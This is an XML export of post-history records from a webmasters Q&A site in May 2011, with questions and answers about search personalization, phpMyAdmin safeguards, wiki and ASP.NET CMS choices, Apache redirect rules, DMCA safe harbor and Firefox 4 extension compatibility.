  <row Id="31027" PostHistoryTypeId="2" PostId="13450" RevisionGUID="e10e4e43-2aee-45cc-9ad1-e67ccb6158aa" CreationDate="2011-05-06T16:09:22.190" UserId="4410" Text="You can use the privacy mode of your web browser to avoid personalization. No cookies, no cache, no history means no personalization.&#xD;&#xA;&#xD;&#xA;You cannot turn off localization, which is based on your IP address, and is part of Google's load balancing (your queries are returned from the nearest/fastest data center).&#xD;&#xA;&#xD;&#xA;You can use various proxy services to search from a location that is different from your own. There are also some tools that let you enter a search and it will return results from a different target country. Ironically, some of the most popular ones search as if you are in the US if you are in another country. The way these work is that you enter a query and then that website forwards the query onto Google from their own server which is local to where you want your results from. Thus, Google thinks the request is coming from London instead of Texas. The results are then passed along to you from the proxy server. (Incidentally, this also has the effect of turning off personalization since it isn't your computer that actually makes the search.)&#xD;&#xA;&#xD;&#xA;If you use Firefox, you can also try an extension called Google Global that will show you the search results for the same query from different countries." />
  <row Id="31032" PostHistoryTypeId="2" PostId="13452" RevisionGUID="4c93cc06-0b9b-4ac2-8229-7815047b0748" CreationDate="2011-05-06T16:34:20.220" UserId="6033" Text="Since you're worried about accidentally clicking drop and empty, create a user without drop and empty privileges for accessing the database from inside phpmyadmin. That seems a bit easier than trying to remove those tabs from code." />
  <row Id="31033" PostHistoryTypeId="5" PostId="13452" RevisionGUID="de9ec9cc-522f-4a23-bbbb-0d60dedacea3" CreationDate="2011-05-06T16:40:04.927" UserId="6033" Comment="deleted 3 characters in body" Text="Since you want to avoid accidentally clicking drop and empty, create a user without drop and empty privileges for accessing the database from inside phpmyadmin. That seems a bit easier than trying to remove those tabs from code." />
  <row Id="31034" PostHistoryTypeId="2" PostId="13453" RevisionGUID="ecffbcdb-327b-4dc9-a16a-1523745661da" CreationDate="2011-05-06T16:49:29.877" UserDisplayName="anjan" Text="For my website and coming all sites from now on, i want to have a wiki system, which can -&#xD;&#xA;&#xD;&#xA;1) Support internalization easily, that is the wiki has a system to serve contents based on the language user selects. For example keeping 'en' as default, the wiki has to be able to serve other language articles, if a different language version exists. If i have a F.A.Q. page in english and spanish, changing language would server appropriate content.&#xD;&#xA;&#xD;&#xA;2) It should be light weight and easy to install.&#xD;&#xA;&#xD;&#xA;3) Only i can edit contents, others has no edit option, the wiki system has to have a easy way to switch off editing by guests. All edits are admin only.&#xD;&#xA;&#xD;&#xA;I m considering MediaWiki, but i wish to know if there is a better wiki system agreed by experienced and veterans :)&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Anjan" />
  <row Id="31035" PostHistoryTypeId="1" PostId="13453" RevisionGUID="ecffbcdb-327b-4dc9-a16a-1523745661da" CreationDate="2011-05-06T16:49:29.877" UserDisplayName="anjan" Text="Which wiki system is better suited?" />
  <row Id="31036" PostHistoryTypeId="3" PostId="13453" RevisionGUID="ecffbcdb-327b-4dc9-a16a-1523745661da" CreationDate="2011-05-06T16:49:29.877" UserDisplayName="anjan" Text="&lt;wiki&gt;" />
  <row Id="31037" PostHistoryTypeId="17" PostId="13453" RevisionGUID="554dbbf5-ad2c-40bb-9716-1f247f433180" CreationDate="2011-05-06T16:53:33.207" UserId="-1" Comment="from http://stackoverflow.com/questions/5914536/which-wiki-system-is-better-suited" Text="" />
  <row Id="31038" PostHistoryTypeId="6" PostId="13453" RevisionGUID="5b5b341e-e78e-46f4-818a-b416dfb3c860" CreationDate="2011-05-06T17:17:08.800" UserId="4502" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;web-applications&gt;&lt;wiki&gt;" />
  <row Id="31039" PostHistoryTypeId="2" PostId="13454" RevisionGUID="457e4905-ab92-42f2-be03-c990356b9699" CreationDate="2011-05-06T17:29:55.693" UserId="5718" Text="I had a look at the new widgets and noticed that the date dimension can be selected and filtered but I couldn't find a way to add in any relative dates like (today etc). You can only use absolute dates in a 'Ymd' format (eg '20110421'). This could be used to build a month or year filter but you'd need to change it manually so would be quite a bit of a hassle.&#xD;&#xA;&#xD;&#xA;You would be better off trying something based around the API to build out a dashboard that showed what you want. If you use Excel you could try out something like Excellent Analytics. It's an open source plugin that lets you pull data out of the API and there is an option for downloading today's data." />
  <row Id="31040" PostHistoryTypeId="5" PostId="2936" RevisionGUID="ca5f50b7-0d5d-45e6-8dd4-10f4d7344cda" CreationDate="2011-05-06T17:45:09.520" UserId="108" Comment="deleted 18 characters in body" Text="I'm a web dev since a decade now, but my design skills are... well, are the designs skills of a programmer! Anyway, I've been working on a personal project for some time now and I would like some advice on what I should do with the design of the website? Hire a pro or use 99designs (or website like that). Plus, what are the costs of the pros VS 99 designs?  &#xD;&#xA;I have no logo and no design. Anybody have any experience with this?" />
  <row Id="31041" PostHistoryTypeId="5" PostId="2941" RevisionGUID="99020084-55ab-49f1-9c9b-0a1c19bab50e" CreationDate="2011-05-06T17:47:07.100" UserId="108" Comment="Cleaned up and removed self promotion" Text="@Lèse majesté has a lot of valid reasons why you should hire a professional designer. &#xD;&#xA;&#xD;&#xA;Another alternative is to collaborate with a (or a few) friend(s) who is a designer - I think this way, communication will be better. &#xD;&#xA;&#xD;&#xA;Another option is [theme forest][1] which has some really good web templates whether html/css or wordpress themes (if you use wordpress). I find a lot of designs at 99designs or crowdspring of low quality. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://themeforest.net/?ref=jiewmeng" />
  <row Id="31042" PostHistoryTypeId="25" PostId="13442" RevisionGUID="ecc53070-3093-4de8-8113-d5b23d13b651" CreationDate="2011-05-06T18:11:28.857" Comment="http://twitter.com/#!/StackWebmasters/status/66565761602293760" />
  <row Id="31043" PostHistoryTypeId="2" PostId="13455" RevisionGUID="eabeedbc-9372-40c6-99fa-228c741fdd2e" CreationDate="2011-05-06T18:38:22.873" UserId="6355" Text="Wikis are tools for groups and individuals to collaborate in content. **If you simply want version control for your pages**, Wordpress with a multi-language plugin is certainly a better choice. Nowadays Wordpress is a fully featured CMS, not just a blog engine.&#xD;&#xA;&#xD;&#xA;http://wordpress.org/extend/plugins/tags/multilanguage&#xD;&#xA;&#xD;&#xA; - It's far easier than configure than Mediawiki&#xD;&#xA; - It has comments by default&#xD;&#xA; - It has more plugins than Mediawiki, and more free templates&#xD;&#xA; - You can add flash and javascript to pages, individually&#xD;&#xA;&#xD;&#xA;In my opinion the only thing in which Mediawiki can be better is as a collaboration tool." />
  <row Id="31044" PostHistoryTypeId="5" PostId="13455" RevisionGUID="3cab7c19-155a-4dec-b30e-409f7f186258" CreationDate="2011-05-06T18:45:30.827" UserId="6355" Comment="Language" Text="Wikis are tools for groups and individuals to collaborate in content. **If you simply want version control for your pages**, Wordpress with a multi-language plugin is certainly a better choice. Nowadays Wordpress is a fully featured CMS, not just a blog engine.&#xD;&#xA;&#xD;&#xA;http://wordpress.org/extend/plugins/tags/multilanguage&#xD;&#xA;&#xD;&#xA; - It's far easier to configure than Mediawiki&#xD;&#xA; - It has comments by default&#xD;&#xA; - It has more plugins than Mediawiki, and more free templates as well&#xD;&#xA; - You can add flash and javascript to individual pages&#xD;&#xA;&#xD;&#xA;In my opinion the only thing in which Mediawiki can be better is as a collaboration tool." />
  <row Id="31051" PostHistoryTypeId="17" PostId="13457" RevisionGUID="b3a79d12-ed90-4d72-9b1b-6511ec2fb1ce" CreationDate="2011-05-06T19:20:11.787" UserId="-1" Comment="from http://stackoverflow.com/questions/5916008/best-cms-for-net/5916030#5916030" Text="" />
  <row Id="31052" PostHistoryTypeId="17" PostId="13458" RevisionGUID="54dff459-c02a-4e02-bfa3-5fb20b599ce0" CreationDate="2011-05-06T19:20:11.787" UserId="-1" Comment="from http://stackoverflow.com/questions/5916008/best-cms-for-net/5916035#5916035" Text="" />
  <row Id="31053" PostHistoryTypeId="2" PostId="13457" RevisionGUID="31f1fab1-cab1-4ed5-93fe-4168ec68e00a" CreationDate="2011-05-06T19:18:40.257" UserDisplayName="K Ivanov" Text="Take a look at [Orchard][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.orchardproject.net/" />
  <row Id="31054" PostHistoryTypeId="2" PostId="13458" RevisionGUID="c05e646f-dafc-49b4-9d3f-3d4a23391c61" CreationDate="2011-05-06T19:19:15.687" UserDisplayName="Bala R" Text="See [Web App Gallery's CMS category][1]. There are quite a few with short description and user ratings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/gallery/categories.aspx?category=ContentMgmt" />
  <row Id="31055" PostHistoryTypeId="2" PostId="13456" RevisionGUID="8772aacd-5970-486e-827f-78c524e0c408" CreationDate="2011-05-06T19:16:31.577" UserDisplayName="wandos" Text="hello i need advice on the best cms for an online shopping website in asp.net 4.0 any advice?" />
  <row Id="31056" PostHistoryTypeId="1" PostId="13456" RevisionGUID="8772aacd-5970-486e-827f-78c524e0c408" CreationDate="2011-05-06T19:16:31.577" UserDisplayName="wandos" Text="best cms for .net" />
  <row Id="31057" PostHistoryTypeId="3" PostId="13456" RevisionGUID="8772aacd-5970-486e-827f-78c524e0c408" CreationDate="2011-05-06T19:16:31.577" UserDisplayName="wandos" Text="&lt;asp.net&gt;&lt;cms&gt;" />
  <row Id="31058" PostHistoryTypeId="17" PostId="13456" RevisionGUID="03d31727-49b1-4ebf-a498-b5143014e662" CreationDate="2011-05-06T19:20:11.787" UserId="-1" Comment="from http://stackoverflow.com/questions/5916008/best-cms-for-net" Text="" />
  <row Id="31059" PostHistoryTypeId="6" PostId="13402" RevisionGUID="c9c0f5af-2d75-4f77-9010-197c5a18eaae" CreationDate="2011-05-06T19:25:21.680" UserId="1253" Comment="edited tags" Text="&lt;mysql&gt;&lt;phpmyadmin&gt;" />
  <row Id="31060" PostHistoryTypeId="2" PostId="13459" RevisionGUID="37219aba-932b-4b86-85e1-b6a5fd33cc23" CreationDate="2011-05-06T19:25:47.173" UserId="7343" Text="I recommend [Kentico][1]. It is full featured and flexible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kentico.com" />
  <row Id="31061" PostHistoryTypeId="6" PostId="6864" RevisionGUID="9c983b1c-3d01-4c4a-9d80-32c970a711b8" CreationDate="2011-05-06T19:40:22.733" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;looking-for-a-script&gt;&lt;open-source&gt;&lt;photo-gallery&gt;&lt;c#&gt;" />
  <row Id="31062" PostHistoryTypeId="6" PostId="13456" RevisionGUID="f3599569-4455-4b7f-9dd4-ddff202b0eaf" CreationDate="2011-05-06T19:42:05.383" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;cms&gt;&lt;asp.net&gt;&lt;looking-for-a-script&gt;" />
  <row Id="31063" PostHistoryTypeId="2" PostId="13460" RevisionGUID="13bc455f-377a-4383-b428-4c6f9a97f940" CreationDate="2011-05-06T19:42:55.970" UserId="7347" Text="GalleryServerpro is a pretty good product; I have used it on some sites with very little difficulty and the developer is very good about answering questions if you need help.&#xD;&#xA;[http://www.galleryserverpro.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.galleryserverpro.com/" />
  <row Id="31064" PostHistoryTypeId="5" PostId="13456" RevisionGUID="f3615270-e5e0-4214-97a4-6b23848fdfa9" CreationDate="2011-05-06T19:45:37.363" UserId="7343" Comment="typos: punctuation and capitation" Text="I need advice on the best CMS for an online shopping website in ASP.NET 4.0. Any advice?" />
  <row Id="31065" PostHistoryTypeId="4" PostId="13456" RevisionGUID="f3615270-e5e0-4214-97a4-6b23848fdfa9" CreationDate="2011-05-06T19:45:37.363" UserId="7343" Comment="typos: punctuation and capitation" Text="What is the best CMS for .net?" />
  <row Id="31066" PostHistoryTypeId="24" PostId="13456" RevisionGUID="f3615270-e5e0-4214-97a4-6b23848fdfa9" CreationDate="2011-05-06T19:45:37.363" Comment="Proposed by 7343 approved by 1253 edit id of 256" />
  <row Id="31067" PostHistoryTypeId="2" PostId="13461" RevisionGUID="2b7922ca-245d-4e90-8b09-2be0905a594e" CreationDate="2011-05-06T20:27:54.833" UserId="135" Text="There's no such thing as &quot;best&quot;. You must have a matrix of functional requirements and product features, and a matrix of non-functional requirements and qualities. The ideal products *for your needs* comes out of that. Without enumerating those on your side, there's no way to even start." />
  <row Id="31068" PostHistoryTypeId="2" PostId="13462" RevisionGUID="cc3293b7-b8c5-4255-9231-568b6de463d8" CreationDate="2011-05-06T20:41:17.353" UserId="1253" Text="All you should need to do is change the nameservers for the domain name to point to your new server. This may require changing the nameservers completely or just changing the A records for the domain name. If you set the domain name up properly on the new server through Plesk then once the DNS change has propagated you should be able to see the site on your new server." />
  <row Id="31069" PostHistoryTypeId="6" PostId="7041" RevisionGUID="c06bb49a-4469-4df7-b114-1164d8a74b5c" CreationDate="2011-05-06T20:41:36.370" UserId="1253" Comment="edited tags" Text="&lt;domains&gt;&lt;server&gt;&lt;plesk&gt;" />
  <row Id="31071" PostHistoryTypeId="5" PostId="13331" RevisionGUID="77b8167b-9e65-4fe8-9e60-7ea1e4ab761a" CreationDate="2011-05-06T20:57:00.430" UserId="7289" Comment="added safari and firefox images from windows 7 for reference." Text="One to remember is the difference in Mac's rendering of fonts, and that seems to be at it's most extreme in Safari. &#xD;&#xA;&#xD;&#xA;I just took these screenshots on my Mac, and you can see that Safari renders the line a bit bigger. Over lots of text, this can have a significant effect on the size of divs.&#xD;&#xA;&#xD;&#xA;I don't have Windows to hand, so if somebody else could post a screengrab of Safari on Windows that would show the difference.&#xD;&#xA;&#xD;&#xA;edit: added Win7 images.&#xD;&#xA;&#xD;&#xA;**Firefox (Mac)**&#xD;&#xA;![Mac Firefox][1]&#xD;&#xA;&#xD;&#xA;**Safari (Mac)**&#xD;&#xA;![Mac Safari][2]&#xD;&#xA;&#xD;&#xA;**Safari (Win7)**&#xD;&#xA;![Win Safari][3]&#xD;&#xA;&#xD;&#xA;**Firefox (Win7)**&#xD;&#xA;![Win Firefox][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/2ZDIz.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/HSwtE.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/ZeWh5.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/cmjXl.png" />
  <row Id="31072" PostHistoryTypeId="24" PostId="13331" RevisionGUID="77b8167b-9e65-4fe8-9e60-7ea1e4ab761a" CreationDate="2011-05-06T20:57:00.430" Comment="Proposed by 7289 approved by 108 edit id of 257" />
  <row Id="31073" PostHistoryTypeId="25" PostId="13456" RevisionGUID="6b895f86-434e-4430-ad25-663719519f3c" CreationDate="2011-05-06T21:11:28.303" Comment="http://twitter.com/#!/StackWebmasters/status/66611058160312323" />
  <row Id="31074" PostHistoryTypeId="2" PostId="13463" RevisionGUID="2a56f7c8-7b11-4e35-bd33-079e0cfbddfb" CreationDate="2011-05-06T21:57:12.377" UserId="7258" Text="Oh man... I found it! In wm-tools under removal request! **An old removal request (index page!) from a different/previous Google account!** How did I miss that! Thank you all for your patients with me. I feel a fool now... But... I hope this saves a headache or two down the road for somebody! :)" />
  <row Id="31080" PostHistoryTypeId="2" PostId="13465" RevisionGUID="d3f44535-0e32-467a-8ea3-fa4f839b129a" CreationDate="2011-05-06T23:05:50.677" UserDisplayName="user80666" Text="I'm trying to find a generic enough modrewrite rule that will acomplish following:&#xD;&#xA;&#xD;&#xA;* Redirect anyHost.anyTld to www.anyHost.anyTld&#xD;&#xA;* Not mess with any other subdomains, for examle other.anyHost.anyTLD should be left alone&#xD;&#xA;&#xD;&#xA;Can you help?&#xD;&#xA;Does this slow down server too much?" />
  <row Id="31081" PostHistoryTypeId="1" PostId="13465" RevisionGUID="d3f44535-0e32-467a-8ea3-fa4f839b129a" CreationDate="2011-05-06T23:05:50.677" UserDisplayName="user80666" Text="I want to redirect anyHOST.anyTLD to www.anyHOST.anyTLD" />
  <row Id="31082" PostHistoryTypeId="3" PostId="13465" RevisionGUID="d3f44535-0e32-467a-8ea3-fa4f839b129a" CreationDate="2011-05-06T23:05:50.677" UserDisplayName="user80666" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="31083" PostHistoryTypeId="17" PostId="13465" RevisionGUID="db361f8b-d7d8-4a6d-90d0-472b6aa1b81c" CreationDate="2011-05-06T23:11:13.873" UserId="-1" Comment="from http://serverfault.com/questions/267175/i-want-to-redirect-anyhost-anytld-to-www-anyhost-anytld" Text="" />
  <row Id="31084" PostHistoryTypeId="2" PostId="13466" RevisionGUID="13ec2213-c3ba-4915-8922-b8bf27d64f9a" CreationDate="2011-05-06T23:13:15.617" UserId="1583" Text="Have a look at the annual CMS report produced by waterandstone.com - &lt;a href=&quot;http://www.waterandstone.com/book/2010-open-source-cms-market-share-report&quot;&gt;2010 report&lt;/a&gt; - you will at least get the basis for an impartial decision." />
  <row Id="31085" PostHistoryTypeId="25" PostId="13465" RevisionGUID="b1c3fc44-1b89-4dd1-ac0e-ade793ec9a26" CreationDate="2011-05-07T00:11:28.570" Comment="http://twitter.com/#!/StackWebmasters/status/66656356874190848" />
  <row Id="31086" PostHistoryTypeId="2" PostId="13467" RevisionGUID="59f1f26f-5a1b-43a6-9487-1a179de5bac8" CreationDate="2011-05-07T00:18:34.480" UserId="233" Text="Firstly, phpMyAdmin colours those tabs in red to attempt to avoid clicks, and when you click them you will either get a Javascript confirmation alert or go to another page that has the confirmation. So it's very difficult to accidentally drop an entire table.&#xD;&#xA;&#xD;&#xA;If that's still not satisfactory I would suggest editing the CSS. You'll need to edit the file `themes/original/css/theme_right.css.php` (or a different folder instead of `original` if that's not your theme). Add this near the top, after the first PHP section:&#xD;&#xA;&#xD;&#xA;    .tabcaution { display: none; }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31087" PostHistoryTypeId="2" PostId="13468" RevisionGUID="63c4830e-6fa6-43a6-bdd8-40b23a94af59" CreationDate="2011-05-06T09:32:05.217" UserDisplayName="Thom" Text="I just uploaded a website for a client wich looked good while previewing locally. When i visit it on the server though some images aren't loading properly. It seems te be quite random, and sometimes they all load like they should. Sometimes images pop up after a sec or so. This problem occurs in Firefox, Safari doens't have any problems. All the image links are correct, what am i doing wrong?&#xD;&#xA;This is the website: http://alturl.com/ky9o6 and this page seems to have the most problems: http://alturl.com/37czx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31088" PostHistoryTypeId="1" PostId="13468" RevisionGUID="63c4830e-6fa6-43a6-bdd8-40b23a94af59" CreationDate="2011-05-06T09:32:05.217" UserDisplayName="Thom" Text="Images randomly not showing up" />
  <row Id="31089" PostHistoryTypeId="3" PostId="13468" RevisionGUID="63c4830e-6fa6-43a6-bdd8-40b23a94af59" CreationDate="2011-05-06T09:32:05.217" UserDisplayName="Thom" Text="&lt;html&gt;&lt;css&gt;&lt;image&gt;&lt;server&gt;" />
  <row Id="31090" PostHistoryTypeId="17" PostId="13468" RevisionGUID="473f9d69-4c61-4625-a1d8-5b31d7bfdf6c" CreationDate="2011-05-07T01:33:16.380" UserId="-1" Comment="from http://stackoverflow.com/questions/5909448/images-randomly-not-showing-up" Text="" />
  <row Id="31094" PostHistoryTypeId="2" PostId="13469" RevisionGUID="c7fe9e8c-98f0-4030-b569-921feeabf072" CreationDate="2011-05-07T01:54:33.933" UserId="2251" Text="Hey there, I love Google's little Page Speed tool, I've seen some wonderful speed advances on sites I've worked on because of it, but since I've upgraded to FF4 it doesn't seem to be in Firebug anymore. And when I've tried to download it, it won't install.&#xD;&#xA;&#xD;&#xA;Is it just me, or are Google being slow to update it? (Seems odd.)&#xD;&#xA;&#xD;&#xA;Here's where I've checked: http://code.google.com/speed/page-speed/" />
  <row Id="31095" PostHistoryTypeId="1" PostId="13469" RevisionGUID="c7fe9e8c-98f0-4030-b569-921feeabf072" CreationDate="2011-05-07T01:54:33.933" UserId="2251" Text="Page Speed no longer working for Firefox 4?" />
  <row Id="31096" PostHistoryTypeId="3" PostId="13469" RevisionGUID="c7fe9e8c-98f0-4030-b569-921feeabf072" CreationDate="2011-05-07T01:54:33.933" UserId="2251" Text="&lt;firefox&gt;&lt;page-speed&gt;" />
  <row Id="31097" PostHistoryTypeId="2" PostId="13470" RevisionGUID="0046017a-3986-4e87-af59-6d895a336e4c" CreationDate="2011-05-07T02:46:00.240" UserId="7204" Text="I run a site that allows users to provide their own content &amp; have it publicly available.  I've got a standard privacy policy but am wondering what measures I should take to ensure I'm covered by the Safe Harbor clause in the DMCA.&#xD;&#xA;&#xD;&#xA;Do I need a terms &amp; conditions page?  Does it need to be linked / quoted on the publishing pages?  Do I just need to ensure I respond to any DMCA notices that come in?" />
  <row Id="31098" PostHistoryTypeId="1" PostId="13470" RevisionGUID="0046017a-3986-4e87-af59-6d895a336e4c" CreationDate="2011-05-07T02:46:00.240" UserId="7204" Text="How can I ensure I'm protected by the &quot;Safe Harbor&quot; clause?" />
  <row Id="31099" PostHistoryTypeId="3" PostId="13470" RevisionGUID="0046017a-3986-4e87-af59-6d895a336e4c" CreationDate="2011-05-07T02:46:00.240" UserId="7204" Text="&lt;content&gt;&lt;legal&gt;&lt;terms-of-use&gt;" />
  <row Id="31100" PostHistoryTypeId="2" PostId="13471" RevisionGUID="95e16ae6-a43d-4472-82d5-c4d720ccf71f" CreationDate="2011-05-07T02:58:43.637" UserId="4502" Text="&lt;a href=&quot;http://www.chillingeffects.org/dmca512/&quot;&gt;In order to qualify for safe harbor protection&lt;/a&gt;, a service provider who hosts content must:&#xD;&#xA;&#xD;&#xA;* have no knowledge of, or financial benefit from, infringing activity on its network&#xD;&#xA;* have a copyright policy and provide proper notification of that policy to its subscribers&#xD;&#xA;* list an agent to deal with copyright complaints&#xD;&#xA;&#xD;&#xA;That page also has a link to an extensive FAQ." />
  <row Id="31101" PostHistoryTypeId="25" PostId="13470" RevisionGUID="3376fff0-6098-451d-bff0-394f47545754" CreationDate="2011-05-07T03:11:29.017" Comment="http://twitter.com/#!/StackWebmasters/status/66701657756545024" />
  <row Id="31102" PostHistoryTypeId="2" PostId="13472" RevisionGUID="aec6863c-488c-4389-8e28-bc7f6d52f829" CreationDate="2011-05-07T03:12:36.630" UserId="4502" Text="It's possible your web server is (very) underpowered, or the host is just having some kind of issue at the moment. While I haven't had any problem with images not displaying, the site's pages do take much longer to load than I would expect given content and my connection speed.  I don't usually get to *watch* 32k JPEG images render.  &#xD;&#xA;Have you contacted support at all yet?" />
  <row Id="31103" PostHistoryTypeId="2" PostId="13473" RevisionGUID="bcdfa27a-6758-41b4-b599-b35dbc410941" CreationDate="2011-05-07T03:50:26.347" UserId="7350" Text="You should be able to use something like this:&#xD;&#xA;&#xD;&#xA;RewriteCond %{HTTP_HOST} !^www\.(.*)$&#xD;&#xA;&#xD;&#xA;RewriteRule (.*) $1/$2 [NC]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Let me know how it turns out, I don't have access to an Apache machine to test it right now :)" />
  <row Id="31104" PostHistoryTypeId="2" PostId="13474" RevisionGUID="3ec24592-37e9-4d4d-a050-e08439d7f51a" CreationDate="2011-05-07T04:09:10.963" UserId="7204" Text="If an extension does not have official support for Firefox 4, you can choose to bypass the version checking in Firefox.&#xD;&#xA;&#xD;&#xA;1. In your address bar, load [about:config][1] (read &amp; accept any warnings to proceed)&#xD;&#xA;2. Right-click, New, Boolean.&#xD;&#xA;3. Preference name should be ``extensions.checkCompatibility.4``&#xD;&#xA;4. Value should ``false``&#xD;&#xA;&#xD;&#xA;Firefox should now allow you install extensions that aren't explicitly compatible with 4.*, although you might need to restart first.  If you had the extension installed when you upgraded to 4, you probably still have it.   You can check in [about:addons][2].  Once the compatibility check is disabled, you should be able to enale any previously blocked extensions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://about:config&#xD;&#xA;  [2]: http://about:addons" />
  <row Id="31105" PostHistoryTypeId="5" PostId="13474" RevisionGUID="11be69f0-49bd-4ae0-8645-b2a066796900" CreationDate="2011-05-07T05:55:08.720" UserId="1064" Comment="Support documentation format applied, minor mechanics of language changes and typo correction" Text="If an extension does not have official support for Firefox 4, you can choose to bypass the version checking in Firefox:&#xD;&#xA;&#xD;&#xA;1. In the address bar enter `about:config` (read &amp; accept any warnings to proceed)&#xD;&#xA;2. Right-click and select New &gt; Boolean from the menu&#xD;&#xA;3. Enter ``extensions.checkCompatibility.4`` for the preference name&#xD;&#xA;4. Enter ``false`` for the preference value&#xD;&#xA;&#xD;&#xA;Firefox should now allow you install extensions which aren't explicitly compatible with v4.*, although you might need to restart Firefox for the setting to take effect.&#xD;&#xA;&#xD;&#xA;If you had the extension installed when you upgraded to 4, you probably still have it installed: you can check in `about:addons`.&#xD;&#xA;&#xD;&#xA;Once the compatibility check is disabled, you should be able to enable any previously blocked extensions." />
  <row Id="31106" PostHistoryTypeId="2" PostId="13475" RevisionGUID="b483f1cc-8ee0-44c6-b23d-8df65b3d76d6" CreationDate="2011-05-07T06:02:18.243" UserId="7351" Text="I'm trying to redirect a subdomain to a subfolder e.g. forums.domain.com to www.domain.com/forums&#xD;&#xA;&#xD;&#xA;Note that I started the forums in the subfolder format but worried that members might mistakenly try to access the forums using the subdomain format.&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?forums\.domain\.com&#xD;&#xA;    RewriteRule .* /forums [L]&#xD;&#xA;&#xD;&#xA;From what I read the codes above should work through .htaccess, but do I still need to create a DNS A record to point to the IP address of the server?" />
  <row Id="31107" PostHistoryTypeId="1" PostId="13475" RevisionGUID="b483f1cc-8ee0-44c6-b23d-8df65b3d76d6" CreationDate="2011-05-07T06:02:18.243" UserId="7351" Text="Redirect/Rewrite Subdomain to Subfolder" />
  <row Id="31108" PostHistoryTypeId="3" PostId="13475" RevisionGUID="b483f1cc-8ee0-44c6-b23d-8df65b3d76d6" CreationDate="2011-05-07T06:02:18.243" UserId="7351" Text="&lt;redirects&gt;&lt;htaccess&gt;&lt;dns&gt;&lt;subdomain&gt;" />
  <row Id="31109" PostHistoryTypeId="4" PostId="13402" RevisionGUID="ceef7aca-8c8b-4e15-a34a-1bab5aafedb5" CreationDate="2011-05-07T06:04:57.157" UserId="1064" Comment="More descriptive title" Text="phpMyAdmin: Remove Table Drop and Empty Controls" />
  <row Id="31110" PostHistoryTypeId="25" PostId="13469" RevisionGUID="887acb4d-decc-47ba-b8ad-64b58f267a09" CreationDate="2011-05-07T06:11:29.277" Comment="http://twitter.com/#!/StackWebmasters/status/66746957745487872" />
  <row Id="31111" PostHistoryTypeId="2" PostId="13476" RevisionGUID="bb2e34fc-3e9d-4725-a75d-8e72535855b6" CreationDate="2011-05-07T07:10:30.093" UserId="7328" Text="I recommend AxCMS.net it's free but not open source.&#xD;&#xA;Also for online store I can suggest [MojoPortal][1] and [nopCommerce][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mojoportal.com&#xD;&#xA;  [2]: http://www.nopcommerce.net" />
  <row Id="31112" PostHistoryTypeId="2" PostId="13477" RevisionGUID="b3ced9bc-3903-45c6-a1d3-f223e0883ca7" CreationDate="2011-05-07T07:12:40.637" UserId="4451" Text="When cloaking affiliate links, should they be 301 redirects, or 302 redirects; and why?" />
  <row Id="31113" PostHistoryTypeId="1" PostId="13477" RevisionGUID="b3ced9bc-3903-45c6-a1d3-f223e0883ca7" CreationDate="2011-05-07T07:12:40.637" UserId="4451" Text="Should Affiliate links be 301 or 302 redirect?" />
  <row Id="31114" PostHistoryTypeId="3" PostId="13477" RevisionGUID="b3ced9bc-3903-45c6-a1d3-f223e0883ca7" CreationDate="2011-05-07T07:12:40.637" UserId="4451" Text="&lt;redirects&gt;&lt;301-redirect&gt;&lt;affiliate&gt;" />
  <row Id="31115" PostHistoryTypeId="2" PostId="13478" RevisionGUID="a46b2e66-e0e9-4996-91db-f060a8349e6e" CreationDate="2011-05-07T07:48:33.787" UserId="6597" Text="Zach's answer will not work with subdomains like `forum.example.com`, the next rules checks whether the host equals `example.com`. If it does, it will be redirected to `www.example.com`. No rules will be processed after this one (`L` = Last).&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^example\.com$ [NC]&#xD;&#xA;    RewriteRule (.*) http://www.example.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;This does not cause a server slowdown, but if you really want to get every single performance bit out of it, you could create a virtual host with domain `example.com` with a redirect rule:&#xD;&#xA;&#xD;&#xA;    NameVirtualHost 1.2.3.4:80&#xD;&#xA;    &lt;VirtualHost 1.2.3.4:80&gt;&#xD;&#xA;        ServerName example.com&#xD;&#xA;        Redirect / http://www.example.com/&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    # other hosts here&#xD;&#xA;&#xD;&#xA;[Virtual Hosts documentation](http://httpd.apache.org/docs/current/vhosts/)" />
  <row Id="31116" PostHistoryTypeId="2" PostId="13479" RevisionGUID="51b9e7d3-ea54-457b-a635-2b3baa2c45fc" CreationDate="2011-05-07T08:23:48.440" UserId="1064" Text="Either will put the user at the destination - the redirect status should not make any difference *unless* you plan to change the outgoing link target associated with the redirect key (in which case the 302 Redirect is the better choice, as clients' browsers will ask your server for the new destination on subsequent requests instead of caching it)." />
  <row Id="31117" PostHistoryTypeId="16" PostId="13456" RevisionGUID="c79b62c8-9a16-4637-9e15-22ca926347db" CreationDate="2011-05-07T08:31:17.047" UserId="1064" />
  <row Id="31118" PostHistoryTypeId="16" PostId="13457" RevisionGUID="55ccf5c2-0ee6-4fc7-8e52-89939e8a50fb" CreationDate="2011-05-07T08:31:17.047" UserId="1064" />
